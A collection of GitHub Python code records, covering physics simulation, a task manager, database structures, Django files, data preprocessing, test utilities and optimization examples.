f(r):\r\n x = r[0]\r\n y = r[1]\r\n \r\n e = sqrt(x**2 + y**2)\r\n \r\n vx = r[2]\r\n vy = r[3]\r\n \r\n fx = vx\r\n fy = vy\r\n \r\n fvx = -G*M*x/(e**2 * sqrt(e**2 + L**2/4))\r\n fvy = -G*M*y/(e**2 * sqrt(e**2 + L**2/4))\r\n \r\n return array([fx, fy, fvx, fvy], float)\r\n\r\nr = array([1, 0, 0, 1])\r\nxpoints = []\r\nypoints = []\r\ntpoints = arange(tmin, tmax, h)\r\n\r\nfor t in tpoints:\r\n \r\n # now do some runge-kutta (p336)\r\n k1 = h*f(r)\r\n k2 = h*f(r + 0.5*k1)\r\n k3 = h*f(r + 0.5*k2)\r\n k4 = h*f(r + k3)\r\n \r\n r = r + (k1 + 2*k2 + 2*k3 + k4)/6\r\n \r\n xpoints.append(r[0])\r\n ypoints.append(r[1])\r\n \r\nfigure(1)\r\nclf()\r\ntitle(\"Orbit\")\r\nplot(xpoints, ypoints)\r\nxlabel(\"x\")\r\nylabel(\"y\")\r\n","repo_name":"nrwade0/computational-physics","sub_path":"8/8_8_n_w.py","file_name":"8_8_n_w.py","file_ext":"py","file_size_in_byte":996,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"38058498714","text":"\"\"\"\nMain file for PrioriTealist\n\"\"\"\nimport uuid\nfrom typing import List\nimport logging\n\n# Initialize logging\nlogging.basicConfig(level=logging.INFO)\n\n\nclass Task:\n \"\"\"\n Class to define a task\n \"\"\"\n\n def __init__(self, task_name: str, task_category: str, due_date: str) -> None:\n \"\"\"\n Construct all the necessary attributes for the task object.\n\n :param task_name: The name of the task\n :type task_name: str\n :param task_category: The category of the task\n :type task_category: str\n :param due_date: The tasks due date\n :type due_date: str\n\n \"\"\"\n self.task_name = task_name\n self.task_category = task_category\n self.due_date = due_date\n self.status = False\n logging.info(\"The task %s has been successfully created !\", self.task_name)\n\n def __repr__(self):\n \"\"\"\n Renders the class name\n \"\"\"\n return (\n f\"{self.__class__.__name__}(task_name= {self.task_name!r},\"\n f\"task_category={self.task_category!r}, due_date={self.due_date!r})\"\n )\n\n\nclass PrioriTeaList:\n \"\"\"\n Class to define the task list\n \"\"\"\n\n def __init__(self) -> None:\n \"\"\"\n Construct all the necessary attribute for the task list.\n The task_list dictionary links task names by their IDs.\n The task_mapper dictionary links the task IDs by their names.\n \"\"\"\n self.task_list: dict = {}\n self.task_mapper: dict = {}\n logging.info(\"Task list initialization\")\n\n def add_task(self, task: Task) -> None:\n \"\"\"\n Add a new task to the list.\n\n :param task: The Task object to add\n :type task: Task\n \"\"\"\n unique_id = str(uuid.uuid4())\n if task.task_name in self.task_mapper:\n logging.error(\"KeyError while adding task: %s\", task.task_name)\n raise KeyError(f\"Task with name '{task.task_name}' already exists.\")\n self.task_list[unique_id] = {\n \"task\": task.task_name,\n \"category\": task.task_category,\n \"due_date\": task.due_date,\n \"status\": task.status,\n }\n self.task_mapper[task.task_name] = unique_id\n logging.info(\n \"The task %s has been successfully added to the task list !\",\n task.task_name,\n )\n\n def complete_task(self, task_name: str) -> None:\n \"\"\"\n Changes a task's status to completed\n\n :param task_name: The name of the task to complete\n :type task_name: str\n \"\"\"\n active_unique_id = self.task_mapper.get(task_name)\n if active_unique_id is None:\n error_message = (\n f\"Task with name '{task_name}' not found in the list of tasks.\"\n )\n logging.error(\"KeyError while completing task: %s\", error_message)\n raise KeyError(error_message)\n self.task_list[active_unique_id][\"status\"] = True\n logging.info(\"The task %s has been successfully completed !\", task_name)\n\n def remove_task(self, task_name: str) -> None:\n \"\"\"\n Remove a specific task from the task list\n\n :param task_name: The name of the task to remove\n :type task_name: str\n \"\"\"\n active_unique_id = self.task_mapper.get(task_name)\n if active_unique_id is None:\n error_message = (\n f\"Task with name '{task_name}' not found in the list of tasks.\"\n )\n logging.error(\"KeyError while removing task: %s\", error_message)\n raise KeyError(error_message)\n del self.task_list[active_unique_id]\n del self.task_mapper[task_name]\n logging.info(\n \"The task %s has been successfully removed from the task list !\",\n task_name,\n )\n\n def show_tasks(self) -> List:\n \"\"\"\n Show the entire tasks and their attributes. Return all the values of the list.\n\n :return: The list of tasks to show\n :rtype: List\n \"\"\"\n return list(self.task_list.values())\n","repo_name":"anatolereffet/prioritealist","sub_path":"prioritealist/task_manager.py","file_name":"task_manager.py","file_ext":"py","file_size_in_byte":4075,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"25904048379","text":"import abc\nimport random\nfrom typing import *\nfrom aiorocksdb.meta import *\nfrom aiorocksdb.complex.node_base import *\n\n\nclass OrderedListBase(abc.ABC, NodeBase):\n def __init__(self, codec, cf, meta: KeyMeta):\n super(OrderedListBase, self).__init__()\n self._node_cache = dict()\n self.codec = codec\n self.cf = cf\n self.meta = meta\n\n async def fetch_node_meta(self, key, t: Type[MetaBase]) -> MetaBase:\n if key in self._node_cache:\n return self._node_cache[key]\n cf = self.cf\n meta = await NodeBase.fetch_node_meta(cf, key, t)\n self._node_cache[key] = meta\n return meta\n\n @classmethod\n def coin(cls):\n return random.randint(0, 1)\n\n def generate_mask(self) -> int:\n height = self.meta.height()\n mask_length = 1\n for i in range(height - 1):\n coin = self.coin()\n if not coin:\n break\n mask_length += 1\n return mask_length\n\n @classmethod\n def list_get(cls, lst, index: int, default=None):\n if index < 0 or index >= len(lst):\n return default\n return lst[index]\n\n def initialize_border_nodes(self, field):\n left_nodes = dict()\n right_nodes = dict()\n\n if field > self.meta.seq:\n for level, seq in enumerate(self.meta.tail_key):\n left_nodes[level] = self.list_get(self.meta.tail_key, level)\n for level, seq in enumerate(self.meta.tail_key):\n right_nodes[level] = None\n else:\n for level, seq in enumerate(self.meta.head_key):\n left_nodes[level] = None\n for level, seq in enumerate(self.meta.tail_key):\n right_nodes[level] = self.list_get(self.meta.head_key, level)\n\n return left_nodes, right_nodes\n\n async def search(self, key, field, left_nodes: dict, right_nodes: dict):\n current_field = None\n next_stack: List[Any] = self.meta.head_key\n height = len(self.meta.head_key)\n for i in range(height):\n level = height - 1 - i\n while self.list_get(next_stack, level) and self.list_get(next_stack, level) <= field:\n current_field = self.list_get(next_stack, level)\n node_key = NodeBase.node_key(self.codec, key, current_field)\n node = await self.fetch_node_meta(node_key, SkipListNode)\n next_stack = node.next\n node_key = NodeBase.node_key(self.codec, key, current_field)\n node: SkipListNode = await self.fetch_node_meta(node_key, SkipListNode)\n if node:\n left_nodes[level] = node.seq\n right_nodes[level] = self.list_get(node.next, level)\n return current_field\n\n async def insert(self, key, field, value=b''):\n cache_nodes = self.cache_nodes\n\n left_nodes, right_nodes = self.initialize_border_nodes(field)\n\n current_field = await self.search(key, field, left_nodes, right_nodes)\n\n if current_field == field:\n batch = self.batch\n codec = self.codec\n # save data node\n else:\n new_node = self.new_node(score)\n node_height = self.generate_mask()\n for level in range(node_height):\n left_seq = left_nodes.get(level)\n if not left_seq:\n self.list_set(self.key_meta.head_key, level, score)\n else:\n node = await self.cache_or_get(cache_nodes, left_seq)\n self.list_set(node.next, level, score)\n self.list_set(new_node.prev, level, left_seq)\n assert node.seq < new_node.seq\n right_seq = right_nodes.get(level)\n if not right_seq:\n self.list_set(self.key_meta.tail_key, level, score)\n else:\n node = await self.cache_or_get(cache_nodes, right_seq)\n self.list_set(node.prev, level, score)\n self.list_set(new_node.next, level, right_seq)\n assert node.seq > new_node.seq\n self.key_meta.length += 1\n self.key_meta.seq = max(score, self.key_meta.seq)\n batch = self.batch\n await self.changed_node_batch(batch)\n if self.key_meta.key_type == KeyTypeEnum.ORDER_LIST:\n batch.put(KeyMeta.build_key_path(DATA_KEY_PREFIX, self.key, new_node.seq), value)\n if self.key_meta.key_type == KeyTypeEnum.ORDER_LIST_ZSET:\n batch.put(KeyMeta.build_key_path(DATA_KEY_PREFIX, self.key, new_node.seq[1]),\n pickle.dumps(new_node.seq))\n new_node.save_meta(KeyMeta.build_key_path(META_KEY_PREFIX, self.key, new_node.seq), batch)\n self.key_meta.save_meta(self.key, batch)\n return score\n\n\n__all__ = ['OrderedListBase', ]\n","repo_name":"xdusongwei/aiorocksdb","sub_path":"aiorocksdb/complex/order_list_base.py","file_name":"order_list_base.py","file_ext":"py","file_size_in_byte":4926,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"78"} +{"seq_id":"16664293807","text":"import asyncio\nimport time\nfrom asyncio import sleep\n\nloop = asyncio.get_event_loop()\n\n\nasync def my_first_coroutine(seconds):\n print(f'...starting the query {seconds}')\n await sleep(seconds)\n print(f'...finished the query {seconds}')\n\nloop.create_task(my_first_coroutine(5))\nloop.create_task(my_first_coroutine(3))\nloop.create_task(my_first_coroutine(0.5))\n\nprint('Starting the whole process')\nstart = time.perf_counter()\n\ntasks = asyncio.Task.all_tasks()\nloop.run_until_complete(asyncio.gather(*tasks))\n\ntimeit = time.perf_counter() - start\nprint(f'Finished in {timeit} seconds.')\n","repo_name":"monobot/asyncio_meet","sub_path":"1_FIRST_COROUTINE.py","file_name":"1_FIRST_COROUTINE.py","file_ext":"py","file_size_in_byte":592,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"23188641259","text":"from rest_framework import serializers\n\nfrom .models import Product\n\n\nclass ProductSerializer(serializers.HyperlinkedModelSerializer):\n # Validates the uploaded file content as matching a known image format\n image = serializers.ImageField(\n max_length=None, allow_empty_file=False, allow_null=True, required=False)\n\n class Meta:\n model = Product\n fields = ('id', 'name', 'description', 'price', 'image', 'category')\n","repo_name":"Crio-Winter-of-Doing-2021/GROWW-T12","sub_path":"backend/api/product/serializers.py","file_name":"serializers.py","file_ext":"py","file_size_in_byte":446,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"26935276021","text":"from django.contrib import admin\nfrom django.utils.translation import gettext_lazy as _\n\nfrom accounts.models import Account\n\n\n@admin.register(Account)\nclass AccountAdmin(admin.ModelAdmin):\n search_fields = ('email',)\n list_display = ('email', 'is_staff', 'is_superuser', 'last_login', 'created_at')\n list_filter = ('is_staff', 'is_superuser', 'created_at', 'last_login')\n fieldsets = (\n (\n None,\n {\n 'fields': ('email',)\n }\n ),\n (\n _('Permissions'),\n {\n 'classes': ('collapse',),\n 'fields': ('is_active', 'is_staff', 'is_superuser', 'groups', 'user_permissions')\n }\n ),\n (\n _('Important dates'),\n {\n 'fields': ('last_login', 'created_at'),\n }\n )\n )\n readonly_fields = ('last_login', 'created_at',)\n","repo_name":"Nachang220/diploma","sub_path":"accounts/admin.py","file_name":"admin.py","file_ext":"py","file_size_in_byte":918,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"36334531451","text":"from config import *\n\nfrom pytz import timezone\n\nfrom apscheduler.schedulers.blocking import BlockingScheduler\nfrom apscheduler.jobstores.sqlalchemy import SQLAlchemyJobStore\nfrom apscheduler.executors.pool import ProcessPoolExecutor\nfrom apscheduler.executors.pool import ThreadPoolExecutor\n\nfrom os import remove as rm\n\ndef createScheduler():\n\n jobstores = {\n 'default': SQLAlchemyJobStore(url='sqlite:///%s'%(schedueler_jobStore_SQLite_file))\n }\n\n executors = {\n 'default': ThreadPoolExecutor(8)\n }\n\n job_defaults = {\n 'coalesce': False,\n 'max_instances': 3\n }\n\n scheduler = BlockingScheduler(jobstores=jobstores, executors=executors, job_defaults=job_defaults, timezone=timezone('Europe/Paris'))\n \n return scheduler\n\ndef resetScheduler():\n\n try:\n rm(schedueler_jobStore_SQLite_file)\n return 0\n except FileNotFoundError:\n return 1\n except :\n return -1","repo_name":"nowfornext/PyPrice","sub_path":"scheduler.py","file_name":"scheduler.py","file_ext":"py","file_size_in_byte":946,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"3142642964","text":"def print_reverse(arr, n):\n string = \"\"\n i = 0\n length = len(arr)\n number = n if length > n else length\n while i < number:\n string += str(arr[length - i - 1])\n if i != length - 1:\n string += \" \"\n i += 1\n return string\n\n\nt = int(input())\nfor i in range(t):\n n, m = map(int, input().split())\n linked_list = [int(x) for x in input().split()]\n for _ in range(m - 1):\n temp = [int(x) for x in input().split()]\n check = True\n for j in range(len(linked_list)):\n if linked_list[j] > temp[0]:\n linked_list[j:j] = temp\n check = False\n break\n if check:\n linked_list.extend(temp)\n print(f\"#{i + 1} {print_reverse(linked_list, 10)}\")\n # print(linked_list)\n","repo_name":"mrbartrns/algorithm-and-structure","sub_path":"swea/linked_list/linked_list _p2-1.py","file_name":"linked_list _p2-1.py","file_ext":"py","file_size_in_byte":803,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"25054567959","text":"# Imports\nimport pandas as pd\nfrom pathlib import Path\n\npd.options.mode.chained_assignment = None # default='warn'\n\nSPOTIFY_DATA_FOLDER_DIR = r\"C:\\Users\\JM070903\\OneDrive - Jacobs\\Documents\\Python\\Spotify Listening Analysis\\Spotify_Analysis\\Data\\MyData\"\nSAVE_DIR = r\"C:\\Users\\JM070903\\OneDrive - Jacobs\\Documents\\Python\\Spotify Listening Analysis\\Spotify_Analysis\\PreProcessing\\PreProcessing_MyData\"\n\n\nclass CleanDataFrame:\n def __init__(self, dataframe):\n self.dataframe = dataframe\n\n def remove_track(self, tracknames: list):\n \"\"\"\n Removes any tracks passed to argument\n \n Parameters:\n tracknames (list): list of tracks to remove\n \n Returns:\n self: original dataframe object with tracks removed\n \n \"\"\"\n for track in tracknames:\n self.dataframe = self.dataframe[\n ~self.dataframe[\"trackName\"].str.contains(track)\n ]\n return self\n\n def remove_artist(self, artists: list):\n \"\"\"\n Removes any artists passed to argument\n \n Parameters:\n artists (list): list of artists to remove\n \n Returns:\n self: original dataframe object with artists removed\n \n \"\"\"\n for artist in artists:\n self.dataframe = self.dataframe[\n ~self.dataframe[\"artistName\"].str.contains(artist)\n ]\n return self\n\n def convert_datetime(self):\n \"\"\"\n Converts all time based df columns to datetime objects\n \n Parameters:\n self (dataframe): original dataframe to be cleaned\n \n Returns:\n self (dataframe): cleaned dataframe\n \"\"\"\n self.dataframe[\"endTime\"] = pd.to_datetime(\n self.dataframe[\"endTime\"], format=\"%Y-%m-%d %H:%M\"\n )\n self.dataframe[\"minutesPlayed\"] = self.dataframe[\"msPlayed\"].divide(60000)\n\n self.dataframe.drop([\"msPlayed\"], axis=1, inplace=True)\n\n return self\n\n def remove_duplicates(self):\n \"\"\"\n Combines the play time of duplicate tracks into a single total play time track\n \n Parameters:\n self (dataframe): original dataframe to have duplicates combined\n \n Returns:\n self (dataframe): cleaned dataframe with duplicate song data combined\n \"\"\"\n self.dataframe[\"minutesTotal\"] = self.dataframe.groupby(by=[\"trackName\"])[\n \"minutesPlayed\"\n ].transform(\"sum\")\n self.dataframe.drop_duplicates(subset=[\"trackName\"], inplace=True)\n\n return self\n\n def return_df(\n self,\n ): # ToDo - shouldn't need this method. The dataframe shoud be returned when any of the above methods are called.\n \"\"\" Returns the dataframe object, rather than a CleanDataFrame object. \"\"\"\n return self.dataframe\n\n\ndef gather_mydata(folder_dir: str) -> pd.DataFrame:\n \"\"\"\n Returns consolidated dataframe of listening history from Spotify .json files\n\n Parameters:\n folder_dir (string): folder directory location of .json Spotify files\n \n Returns:\n\n spotify_data_df (pandas dataframe): Dataframe object containing combined and consolidated listening history\n \"\"\"\n\n _folder_dir = Path(\n folder_dir\n ) # converting to pathlib object for OS-agnostic manipulation\n _jsons = Path(_folder_dir).glob(\n \"*.json\"\n ) # Finding all files in the json folder that end with .json -> generator object\n _json_list = [\n file.name for file in _jsons\n ] # retrieving filename of .json files only\n _streaming_list = [\n s for s in _json_list if \"StreamingHistory\" in s\n ] # grabbing .jsons for streaming history only\n _spotify_data = {\n key: [] for key in _streaming_list\n } # Creating empty dict with json filenames as keys\n\n for spotify_json in _streaming_list:\n json_filepath = Path(_folder_dir, spotify_json)\n read_data = pd.read_json(json_filepath, typ=\"series\", encoding=\"utf8\")\n _spotify_data[spotify_json].append(read_data)\n\n streams_list = [key[0] for key in _spotify_data.values()]\n\n spotify_data_df = pd.concat(streams_list, ignore_index=True, sort=False)\n spotify_data_df = pd.json_normalize(\n spotify_data_df\n ) # This is a really handy way of converting dict keys to column names\n\n return spotify_data_df\n\n\ndef save_dataframe(cleaned_dataframe: pd.DataFrame, save_directory: str, filename: str):\n \"\"\"\n Saves the cleaned dataframe as a pickle file \n\n Parameters:\n cleaned_dataframe (dataframe): pandas dataframe object to be saved\n save_directory (string): folder directory of where cleaned dataframe .pkl is to be saved\n filename (string): name of .pkl file to be saved\n\n Returns:\n saved_pickle (.pkl file): .pkl file of dataframe, saved in user submitted save directory, with chosen filename\n \"\"\"\n\n _save_directory = Path(save_directory, filename + \".pkl\")\n return cleaned_dataframe.to_pickle(_save_directory)\n\n\nif __name__ == \"__main__\":\n tracks_to_remove = [\n \"Binaural Beta Sinus Drone II\",\n \"Binaural Alpha Sinus 100 Hz - 108 Hz\",\n \"Cabin Sound\",\n \"Unknown Track\",\n \"White Noise - 200 hz\",\n ] # Most of these songs are white noise I listen to on repeat, need to remove them from the df\n artists_to_remove = [\n \"Unknown Artist\",\n \"Stuff You Should Know\",\n \"Freakonomics Radio\",\n \"World War One\",\n \"The History of WWII Podcast - by Ray Harris Jr\",\n ] # Removing podcasts and unknown tracks\n\n streams_df = gather_mydata(SPOTIFY_DATA_FOLDER_DIR)\n clean_data = CleanDataFrame(streams_df)\n streams_df = (\n clean_data.remove_track(tracks_to_remove)\n .remove_artist(artists_to_remove)\n .convert_datetime()\n .remove_duplicates()\n .return_df()\n )\n save_dataframe(streams_df, SAVE_DIR, \"listening_history\")\n","repo_name":"jmoro0408/Spotify_Analysis_2.0","sub_path":"PreProcessing/PreProcessing_MyData/my_data_preprocessing.py","file_name":"my_data_preprocessing.py","file_ext":"py","file_size_in_byte":5944,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"78"} +{"seq_id":"25469648413","text":"import pytest\nimport csv\nimport email as email_lib\nimport imaplib\nimport json\nfrom time import sleep\nfrom retry import retry\nfrom _pytest.runner import fail\n\nfrom config import Config\n\n\nclass RetryException(Exception):\n pass\n\n\ndef remove_all_emails(email=None, pwd=None, email_folder=None):\n if not email:\n email = Config.FUNCTIONAL_TEST_EMAIL\n if not pwd:\n pwd = Config.FUNCTIONAL_TEST_PASSWORD\n if not email_folder:\n email_folder = Config.EMAIL_FOLDER\n gimap = None\n try:\n gimap = imaplib.IMAP4_SSL('imap.gmail.com')\n rv, data = gimap.login(email, pwd)\n rv, data = gimap.select(email_folder)\n rv, data = gimap.search(None, \"ALL\")\n for num in data[0].split():\n gimap.store(num, '+FLAGS', '\\\\Deleted')\n gimap.expunge()\n finally:\n if gimap:\n gimap.close()\n gimap.logout()\n\n\ndef create_temp_csv(number, field_name):\n import os\n import tempfile\n directory_name = tempfile.mkdtemp()\n csv_file_path = os.path.join(directory_name, 'sample.csv')\n with open(csv_file_path, 'w') as csv_file:\n fieldnames = [field_name]\n csv_writer = csv.DictWriter(csv_file, fieldnames=fieldnames)\n csv_writer.writeheader()\n csv_writer.writerow({field_name: number})\n return directory_name, 'sample.csv'\n\n\ndef get_sms_via_heroku(client, environment=None):\n if environment is None:\n environment = Config.ENVIRONMENT\n url = 'https://notify-sms-inbox.herokuapp.com/' + environment\n response = client.get(url)\n j = json.loads(response.text)\n x = 0\n loop_condition = True\n while loop_condition:\n if response.status_code == 200:\n loop_condition = False\n if x > 12:\n loop_condition = False\n if j['result'] == 'error':\n sleep(5)\n x += 1\n response = client.get(url)\n j = json.loads(response.text)\n\n try:\n return j['sms_code']\n except KeyError:\n fail('No sms code delivered')\n\n\n@retry(RetryException, tries=Config.EMAIL_TRIES, delay=Config.EMAIL_DELAY)\ndef get_email_body(email, pwd, email_folder):\n gimap = None\n try:\n gimap = imaplib.IMAP4_SSL('imap.gmail.com')\n try:\n rv, data = gimap.login(email, pwd)\n except imaplib.IMAP4.error as e:\n pytest.fail(\"Login to email account has failed.\")\n rv, data = gimap.select(email_folder)\n rv, data = gimap.search(None, \"ALL\")\n ids_count = len(data[0].split())\n if ids_count > 1:\n pytest.fail(\"There is more than one token email\")\n elif ids_count == 1:\n num = data[0].split()[0]\n rv, data = gimap.fetch(num, '(UID BODY[TEXT])')\n msg = email_lib.message_from_bytes(data[0][1])\n gimap.store(num, '+FLAGS', '\\\\Deleted')\n gimap.expunge()\n return msg.get_payload().strip().replace('=\\r\\n', '') # yikes\n else:\n raise RetryException(\"Failed to retrieve the email from the email server.\")\n finally:\n if gimap:\n gimap.close()\n gimap.logout()\n\n\ndef generate_unique_email(email, uuid):\n parts = email.split('@')\n return \"{}+{}@{}\".format(parts[0], uuid, parts[1])\n\n\ndef get_link(email, password, email_label):\n\n import re\n try:\n email_body = get_email_body(email, password, email_label)\n match = re.search('http[s]?://\\S+', email_body, re.MULTILINE)\n if match:\n return match.group(0)\n else:\n pytest.fail(\"Couldn't get the registraion link from the email\")\n finally:\n remove_all_emails(email_folder=email_label)\n\n\ndef get_verify_code():\n from requests import session\n verify_code = get_sms_via_heroku(session())\n if not verify_code:\n pytest.fail(\"Could not get the verify code\")\n return verify_code[0:5]\n\n\ndef get_email_message(config):\n try:\n return get_email_body(config.FUNCTIONAL_TEST_EMAIL,\n config.FUNCTIONAL_TEST_PASSWORD,\n config.EMAIL_NOTIFICATION_LABEL)\n except:\n pytest.fail(\"Couldn't get notification email\")\n finally:\n remove_all_emails(email_folder=config.EMAIL_NOTIFICATION_LABEL)\n\n\ndef send_to_deskpro(config, message):\n import requests\n email = config.DESKPRO_PERSON_EMAIL\n deskpro_dept_id = config.DESKPRO_DEPT_ID\n assigned_agent_team_id = config.DESKPRO_ASSIGNED_AGENT_TEAM_ID\n deskpro_api_key = config.DESKPRO_API_KEY\n deskpro_api_host = config.DESKPRO_API_HOST\n message = message\n\n data = {'person_email': email,\n 'department_id': deskpro_dept_id,\n 'assigned_agent_team_id': assigned_agent_team_id,\n 'subject': 'Notify incident report',\n 'message': message\n }\n headers = {\n \"X-DeskPRO-API-Key\": deskpro_api_key,\n 'Content-Type': \"application/x-www-form-urlencoded\"\n }\n\n resp = requests.post(\n deskpro_api_host + '/api/tickets',\n data=data,\n headers=headers)\n\n if resp.status_code != 201:\n print(\"Deskpro create ticket request failed with {} '{}'\".format(resp.status_code, resp.json()))\n","repo_name":"quis/notifications-smoke-tests","sub_path":"tests/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":5233,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"7676064999","text":"import utils, SMF\nimport numpy as np\n\ntrain_data = utils.read('train_user_item_score.txt')\nvalid_data = utils.read('validation_user_item_score.txt')\n\nedge_list = utils.read('users_connections.txt')\n\nMAX_ID = int(np.max(train_data, axis=0)[0])\nLIMIT = 1\n\nnetwork, network_transpose = utils.edge_list_to_adj_list(MAX_ID, edge_list, LIMIT)\n\ntrain_mean = utils.center(train_data)\nvalid_data[:, 2] -= train_mean\n\n# ----------------------------------\n# train Model\n# ----------------------------------\nsigma = 1\nsigma_u = 1\nsigma_v = 1\nsigma_w = 1\nD = 1\niterations = 10\n\nmodel = SMF.Model(train_data, network, network_transpose, D, sigma, sigma_u,\n sigma_v, sigma_w, iterations)\nrmse_list = model.train()\n\nx = [i for i in range(1, iterations+1) if i % 2 == 0 or (i == 1)]\ny = [rmse_list[i] for i in range(1, iterations+1) if i % 2 == 0 or (i == 1)]\nprint(\"RMSE on validation data:\", model.test(valid_data))\nutils.plot(x, y, 'iterataions', 'RMSE', 'RMSE per iterations', 'b')\n\n# ----------------------------------\n# load Model\n# ----------------------------------\n# set test data\n\n# test_data =\n# model = SMF.Model(network=network, load=True)\n# print(\"RMSE on test data:\", model.test(test_data))\n","repo_name":"ArminKaramzade/Social-Matrix-Factorization","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1226,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"78"} +{"seq_id":"5475241561","text":"# Given the root of a binary tree, return the inorder traversal of its nodes' values.\n\n# Example 1:\n# Input: root = [1,null,2,3]\n# Output: [1,3,2]\n \n# Example 2:\n# Input: root = []\n# Output: []\n \n# Example 3:\n# Input: root = [1]\n# Output: [1]\n\n# Definition for a binary tree node.\n# class TreeNode:\n# def __init__(self, val=0, left=None, right=None):\n# self.val = val\n# self.left = left\n# self.right = right\n\n# RECURSIVE SOLUTION\nclass Solution:\n def inorderTraversal(self, root: Optional[TreeNode]) -> List[int]:\n ans = []\n\n def inorder(root):\n if root is None:\n return\n inorder(root.left)\n ans.append(root.val)\n inorder(root.right)\n \n inorder(root)\n return ans\n \n# ITERATIVE SOLUTION\nclass Solution:\n def inorderTraversal(self, root: Optional[TreeNode]) -> List[int]:\n ans = []\n stack = []\n curr = root\n\n while curr or stack:\n while curr:\n stack.append(curr)\n curr = curr.left\n curr = stack.pop()\n ans.append(curr.val)\n curr = curr.right\n \n return ans\n","repo_name":"marcmaralou/leetcode","sub_path":"python/easy/binary-tree-inorder-traversal.py","file_name":"binary-tree-inorder-traversal.py","file_ext":"py","file_size_in_byte":1205,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"45637804984","text":"from os import path\n\nimport onnx\nfrom tvm import relay\n\n# SRC: https://github.com/onnx/models/blob/main/vision/classification/densenet-121/README.md\nMODEL_PATH = \"models/densenet-3.onnx\"\n\nif __name__ == \"__main__\":\n onnx_model = onnx.load(MODEL_PATH)\n input_shapes = {}\n input_dtypes = {}\n initializer_names = [n.name for n in onnx_model.graph.initializer]\n\n # The inputs contains both the inputs and parameters. We are just interested in the\n # inputs so skip all parameters listed in graph.initializer\n for input_info in onnx_model.graph.input:\n if input_info.name not in initializer_names:\n name, shape, dtype, _ = relay.frontend.onnx.get_info(input_info)\n if dtype is None:\n raise ValueError(\n f\"Unknown dtype on input '{input_info.name}' is not supported.\"\n )\n input_shapes.update({input_info.name: shape})\n input_dtypes.update({input_info.name: dtype})\n\n mod, params = relay.frontend.from_onnx(\n onnx_model, shape=input_shapes, freeze_params=True\n )\n\n print(mod)\n","repo_name":"AndrewZhaoLuo/TVM-Sandbox","sub_path":"relay/import_onnx_model.py","file_name":"import_onnx_model.py","file_ext":"py","file_size_in_byte":1106,"program_lang":"python","lang":"en","doc_type":"code","stars":22,"dataset":"github-code","pt":"78"} +{"seq_id":"26638550119","text":"# Tutorial dari https://youtu.be/riQd3HNbaDk?list=PLJ39kWiJXSizF1shhf2rHi-aA1yjt7rtX\n\nimport click\n\n@click.command()\n\n# Basic Option\n@click.option('--nama','-n',default='Gembol',help='Masukkan nama Anda')\n\n# Multiple values\n@click.option('--salary','-s',nargs=2,help='Your monthly salary',type=int)\n\n# Multiple options\n@click.option('--location','-l',help=\"Your location, can be more than one\",multiple=True)\n\n# Argument\n@click.argument('greet',default='dev')\n\ndef main(nama,salary,location,greet):\n click.echo(f'Hello {greet}')\n print(f'Hello world! My name is {nama} and my salary is {sum(salary)}')\n # click.echo(f'Tinggal di {location}')\n click.echo('\\n'.join(location))\n\nif __name__ == \"__main__\":\n main()","repo_name":"putraeka/python","sub_path":"jcharistech/customcli.py","file_name":"customcli.py","file_ext":"py","file_size_in_byte":725,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"68145194","text":"from __future__ import with_statement\n\nimport sys\n\nimport mosek\n\ndef streamprinter(text):\n sys.stdout.write(text)\n sys.stdout.flush()\n\ndef main ():\n with mosek.Env() as env:\n env.set_Stream (mosek.streamtype.log, streamprinter)\n with env.Task(0,0) as task:\n task.set_Stream (mosek.streamtype.log, streamprinter)\n \n numvar = 6\n numcon = 5\n \n bkc = [ mosek.boundkey.up, \n mosek.boundkey.fx, \n mosek.boundkey.fx, \n mosek.boundkey.fx, \n mosek.boundkey.fx ]\n blc = [ 0.0, 0.0, 0.0, 1.3862944, 0.0 ]\n buc = [ 1.0, 0.0, 0.0, 1.3862944, 0.0 ]\n\n bkx = [ mosek.boundkey.fr ] * numvar\n blx = [ 0.0 ] * numvar\n bux = [ 0.0 ] * numvar\n\n aptrb = [ 0, 0, 3, 6, 8 ]\n aptre = [ 0, 3, 6, 8, 10 ]\n asubi = [ 0, 1, 2, 3, 4 ]\n asubj = [ 0, 1, 2,\n 0, 1, 3,\n 0, 4,\n 1, 5 ] \n aval = [ 1.0, 1.0, -1.0,\n -1.0, -1.0, -1.0,\n 0.5, -1.0,\n 1.0, -1.0 ]\n \n task.appendvars(numvar)\n task.appendcons(numcon)\n\n task.putobjsense(mosek.objsense.minimize)\n\n task.putvarboundslice(0, numvar, bkx, blx, bux)\n task.putconboundslice(0, numcon, bkc, blc, buc)\n\n task.putarowlist(asubi, aptrb, aptre, asubj, aval )\n\n opro = [ mosek.scopr.exp, mosek.scopr.exp ]\n oprjo = [ 2, 3 ]\n oprfo = [ 1.0, 1.0 ]\n oprgo = [ 1.0, 1.0 ]\n oprho = [ 0.0, 0.0 ]\n\n\n oprc = [ mosek.scopr.exp, mosek.scopr.exp ]\n opric = [ 0, 0 ]\n oprjc = [ 4, 5 ]\n oprfc = [ 1.0, 1.0 ]\n oprgc = [ 1.0, 1.0 ]\n oprhc = [ 0.0, 0.0 ]\n\n task.putSCeval(opro, oprjo, oprfo, oprgo, oprho,\n oprc, opric, oprjc, oprfc, oprgc, oprhc)\n\n task.optimize()\n\n res = [ 0.0 ] * numvar\n 